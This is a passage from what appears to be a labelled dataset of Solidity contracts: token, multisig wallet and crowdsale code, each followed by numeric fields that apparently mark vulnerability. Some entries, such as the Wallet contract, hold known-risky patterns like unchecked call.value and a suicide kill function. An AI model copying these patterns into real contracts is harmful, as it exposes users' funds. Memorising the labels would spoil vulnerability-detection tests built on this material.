mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "DAPSX";
string public constant TOKEN_SYMBOL = "DAPSX";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x0CDB7862C36eFB403b5bA97E07C8BBca2100A253;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x0cdb7862c36efb403b5ba97e07c8bbca2100a253)];
uint[1] memory amounts = [uint(30000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,120 |
pragma solidity ^0.4.11;
contract multiowned {
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
event RequirementChanged(uint newRequirement);
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
function multiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners();
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return false;
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
if (pending.yetNeeded == 0) {
pending.yetNeeded = m_required;
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
uint ownerIndexBit = 2**ownerIndex;
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
if (pending.yetNeeded <= 1) {
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
delete m_pendingIndex;
}
uint public m_required;
uint public m_numOwners;
uint[256] m_owners;
uint constant c_maxOwners = 250;
mapping(uint => uint) m_ownerIndex;
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
}
contract daylimit is multiowned {
modifier limitedDaily(uint _value) {
if (underLimit(_value))
_;
}
function daylimit(uint _limit) {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
function underLimit(uint _value) internal onlyowner returns (bool) {
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
function today() private constant returns (uint) { return now / 1 days; }
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
}
contract multisig {
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data);
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
function changeOwner(address _from, address _to) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32);
function confirm(bytes32 _h) returns (bool);
}
contract Wallet is multisig, multiowned, daylimit {
struct Transaction {
address to;
uint value;
bytes data;
}
function Wallet(address[] _owners, uint _required, uint _daylimit)
multiowned(_owners, _required) daylimit(_daylimit) {
}
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
function() payable {
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 _r) {
if (underLimit(_value)) {
SingleTransact(msg.sender, _value, _to, _data);
_to.call.value(_value)(_data);
return 0;
}
_r = sha3(msg.data, block.number);
if (!confirm(_r) && m_txs[_r].to == 0) {
m_txs[_r].to = _to;
m_txs[_r].value = _value;
m_txs[_r].data = _data;
ConfirmationNeeded(_r, msg.sender, _value, _to, _data);
}
}
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool) {
if (m_txs[_h].to != 0) {
m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data);
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data);
delete m_txs[_h];
return true;
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
delete m_txs[m_pendingIndex[i]];
super.clearPending();
}
mapping (bytes32 => Transaction) m_txs;
} | 1 | 2,597 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) {
require(_wallet != 0x0);
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract PallyCoin is PausableToken {
using SafeMath for uint256;
string public constant name = 'PallyCoin';
string public constant symbol = 'PAL';
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 100e24;
uint256 public tokensDistributedPresale = 0;
uint256 public tokensDistributedCrowdsale = 0;
address public crowdsale;
modifier onlyCrowdsale() {
require(msg.sender == crowdsale);
_;
}
event RefundedTokens(address indexed user, uint256 tokens);
function PallyCoin() {
balances[msg.sender] = 40e24;
}
function setCrowdsaleAddress(address _crowdsale) external onlyOwner whenNotPaused {
require(_crowdsale != address(0));
crowdsale = _crowdsale;
}
function distributePresaleTokens(address _buyer, uint tokens) external onlyOwner whenNotPaused {
require(_buyer != address(0));
require(tokens > 0 && tokens <= 10e24);
require(tokensDistributedPresale < 10e24);
tokensDistributedPresale = tokensDistributedPresale.add(tokens);
balances[_buyer] = balances[_buyer].add(tokens);
}
function distributeICOTokens(address _buyer, uint tokens) external onlyCrowdsale whenNotPaused {
require(_buyer != address(0));
require(tokens > 0);
require(tokensDistributedCrowdsale < 50e24);
tokensDistributedCrowdsale = tokensDistributedCrowdsale.add(tokens);
balances[_buyer] = balances[_buyer].add(tokens);
}
function refundTokens(address _buyer, uint256 tokens) external onlyCrowdsale whenNotPaused {
require(_buyer != address(0));
require(tokens > 0);
require(balances[_buyer] >= tokens);
balances[_buyer] = balances[_buyer].sub(tokens);
RefundedTokens(_buyer, tokens);
}
}
contract Crowdsale is Pausable {
using SafeMath for uint256;
PallyCoin public token;
RefundVault public vault;
uint256 public startTime = 1508065200;
uint256 public endTime = 1510570800;
address public wallet;
uint256 public rate;
uint256 public rateTier2;
uint256 public rateTier3;
uint256 public rateTier4;
uint256 public limitTier1 = 12.5e24;
uint256 public limitTier2 = 25e24;
uint256 public limitTier3 = 37.5e24;
uint256 public weiRaised = 0;
uint256 public tokensRaised = 0;
uint256 public constant maxTokensRaised = 50e24;
uint256 public constant minPurchase = 10 finney;
uint256 public constant maxPurchase = 2000 ether;
uint256 public constant minimumGoal = 5.33e24;
bool public isRefunding = false;
bool public isEnded = false;
uint256 public numberOfTransactions;
uint256 public limitGasPrice = 50000000000 wei;
mapping(address => uint256) public crowdsaleBalances;
mapping(address => uint256) public tokensBought;
event TokenPurchase(address indexed buyer, uint256 value, uint256 amountOfTokens);
event Finalized();
modifier beforeStarting() {
require(now < startTime);
_;
}
function Crowdsale(
address _wallet,
address _tokenAddress,
uint256 _startTime,
uint256 _endTime
) public {
require(_wallet != address(0));
require(_tokenAddress != address(0));
if(_startTime > 0 && _endTime > 0)
require(_startTime < _endTime);
wallet = _wallet;
token = PallyCoin(_tokenAddress);
vault = new RefundVault(_wallet);
if(_startTime > 0)
startTime = _startTime;
if(_endTime > 0)
endTime = _endTime;
}
function () payable {
buyTokens();
}
function buyTokens() public payable whenNotPaused {
require(validPurchase());
uint256 tokens = 0;
uint256 amountPaid = calculateExcessBalance();
if(tokensRaised < limitTier1) {
tokens = amountPaid.mul(rate);
if(tokensRaised.add(tokens) > limitTier1)
tokens = calculateExcessTokens(amountPaid, limitTier1, 1, rate);
} else if(tokensRaised >= limitTier1 && tokensRaised < limitTier2) {
tokens = amountPaid.mul(rateTier2);
if(tokensRaised.add(tokens) > limitTier2)
tokens = calculateExcessTokens(amountPaid, limitTier2, 2, rateTier2);
} else if(tokensRaised >= limitTier2 && tokensRaised < limitTier3) {
tokens = amountPaid.mul(rateTier3);
if(tokensRaised.add(tokens) > limitTier3)
tokens = calculateExcessTokens(amountPaid, limitTier3, 3, rateTier3);
} else if(tokensRaised >= limitTier3) {
tokens = amountPaid.mul(rateTier4);
}
weiRaised = weiRaised.add(amountPaid);
tokensRaised = tokensRaised.add(tokens);
token.distributeICOTokens(msg.sender, tokens);
tokensBought[msg.sender] = tokensBought[msg.sender].add(tokens);
TokenPurchase(msg.sender, amountPaid, tokens);
numberOfTransactions = numberOfTransactions.add(1);
forwardFunds(amountPaid);
}
function forwardFunds(uint256 amountPaid) internal whenNotPaused {
if(goalReached()) {
wallet.transfer(amountPaid);
} else {
vault.deposit.value(amountPaid)(msg.sender);
}
checkCompletedCrowdsale();
}
function calculateExcessBalance() internal whenNotPaused returns(uint256) {
uint256 amountPaid = msg.value;
uint256 differenceWei = 0;
uint256 exceedingBalance = 0;
if(tokensRaised >= limitTier3) {
uint256 addedTokens = tokensRaised.add(amountPaid.mul(rateTier4));
if(addedTokens > maxTokensRaised) {
uint256 difference = addedTokens.sub(maxTokensRaised);
differenceWei = difference.div(rateTier4);
amountPaid = amountPaid.sub(differenceWei);
}
}
uint256 addedBalance = crowdsaleBalances[msg.sender].add(amountPaid);
if(addedBalance <= maxPurchase) {
crowdsaleBalances[msg.sender] = crowdsaleBalances[msg.sender].add(amountPaid);
} else {
exceedingBalance = addedBalance.sub(maxPurchase);
amountPaid = amountPaid.sub(exceedingBalance);
crowdsaleBalances[msg.sender] = crowdsaleBalances[msg.sender].add(amountPaid);
}
if(differenceWei > 0)
msg.sender.transfer(differenceWei);
if(exceedingBalance > 0) {
msg.sender.transfer(exceedingBalance);
}
return amountPaid;
}
function setTierRates(uint256 tier1, uint256 tier2, uint256 tier3, uint256 tier4)
external onlyOwner whenNotPaused
{
require(tier1 > 0 && tier2 > 0 && tier3 > 0 && tier4 > 0);
require(tier1 > tier2 && tier2 > tier3 && tier3 > tier4);
rate = tier1;
rateTier2 = tier2;
rateTier3 = tier3;
rateTier4 = tier4;
}
function setEndDate(uint256 _endTime)
external onlyOwner whenNotPaused
{
require(now <= _endTime);
require(startTime < _endTime);
endTime = _endTime;
}
function checkCompletedCrowdsale() public whenNotPaused {
if(!isEnded) {
if(hasEnded() && !goalReached()){
vault.enableRefunds();
isRefunding = true;
isEnded = true;
Finalized();
} else if(goalReached()) {
vault.close();
isEnded = true;
Finalized();
}
}
}
function claimRefund() public whenNotPaused {
require(hasEnded() && !goalReached() && isRefunding);
vault.refund(msg.sender);
token.refundTokens(msg.sender, tokensBought[msg.sender]);
}
function calculateExcessTokens(
uint256 amount,
uint256 tokensThisTier,
uint256 tierSelected,
uint256 _rate
) public returns(uint256 totalTokens) {
require(amount > 0 && tokensThisTier > 0 && _rate > 0);
require(tierSelected >= 1 && tierSelected <= 4);
uint weiThisTier = tokensThisTier.sub(tokensRaised).div(_rate);
uint weiNextTier = amount.sub(weiThisTier);
uint tokensNextTier = 0;
bool returnTokens = false;
if(tierSelected != 4)
tokensNextTier = calculateTokensTier(weiNextTier, tierSelected.add(1));
else
returnTokens = true;
totalTokens = tokensThisTier.sub(tokensRaised).add(tokensNextTier);
if(returnTokens) msg.sender.transfer(weiNextTier);
}
function calculateTokensTier(uint256 weiPaid, uint256 tierSelected)
internal constant returns(uint256 calculatedTokens)
{
require(weiPaid > 0);
require(tierSelected >= 1 && tierSelected <= 4);
if(tierSelected == 1)
calculatedTokens = weiPaid.mul(rate);
else if(tierSelected == 2)
calculatedTokens = weiPaid.mul(rateTier2);
else if(tierSelected == 3)
calculatedTokens = weiPaid.mul(rateTier3);
else
calculatedTokens = weiPaid.mul(rateTier4);
}
function validPurchase() internal constant returns(bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value > 0;
bool withinTokenLimit = tokensRaised < maxTokensRaised;
bool minimumPurchase = msg.value >= minPurchase;
bool hasBalanceAvailable = crowdsaleBalances[msg.sender] < maxPurchase;
return withinPeriod && nonZeroPurchase && withinTokenLimit && minimumPurchase && hasBalanceAvailable;
}
function goalReached() public constant returns(bool) {
return tokensRaised >= minimumGoal;
}
function hasEnded() public constant returns(bool) {
return now > endTime || tokensRaised >= maxTokensRaised;
}
} | 1 | 2,204 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
address public tokenWallet;
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
contract IncreasingPriceCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
uint256 public initialRate;
uint256 public finalRate;
constructor(uint256 _initialRate, uint256 _finalRate) public {
require(_initialRate >= _finalRate);
require(_finalRate > 0);
initialRate = _initialRate;
finalRate = _finalRate;
}
function getCurrentRate() public view returns (uint256) {
uint256 elapsedTime = block.timestamp.sub(openingTime);
uint256 timeRange = closingTime.sub(openingTime);
uint256 rateRange = initialRate.sub(finalRate);
return initialRate.sub(elapsedTime.mul(rateRange).div(timeRange));
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 currentRate = getCurrentRate();
return currentRate.mul(_weiAmount);
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract ConferenceCoinCrowdsale is AllowanceCrowdsale, IncreasingPriceCrowdsale, CanReclaimToken {
constructor (
uint _openingTime,
uint _closingTime,
uint _initialRate,
uint _finalRate,
address _wallet,
address _tokenWallet,
ERC20 _token)
public
Crowdsale(_finalRate, _wallet, _token)
AllowanceCrowdsale(_tokenWallet)
TimedCrowdsale(_openingTime, _closingTime)
IncreasingPriceCrowdsale(_initialRate, _finalRate)
{
}
} | 0 | 419 |
pragma solidity ^0.4.21;
library SafeMath
{
function mul(uint a, uint b) internal returns (uint)
{
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint)
{
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint)
{
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint)
{
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64)
{
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64)
{
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256)
{
return a >= b ? a : b;
}
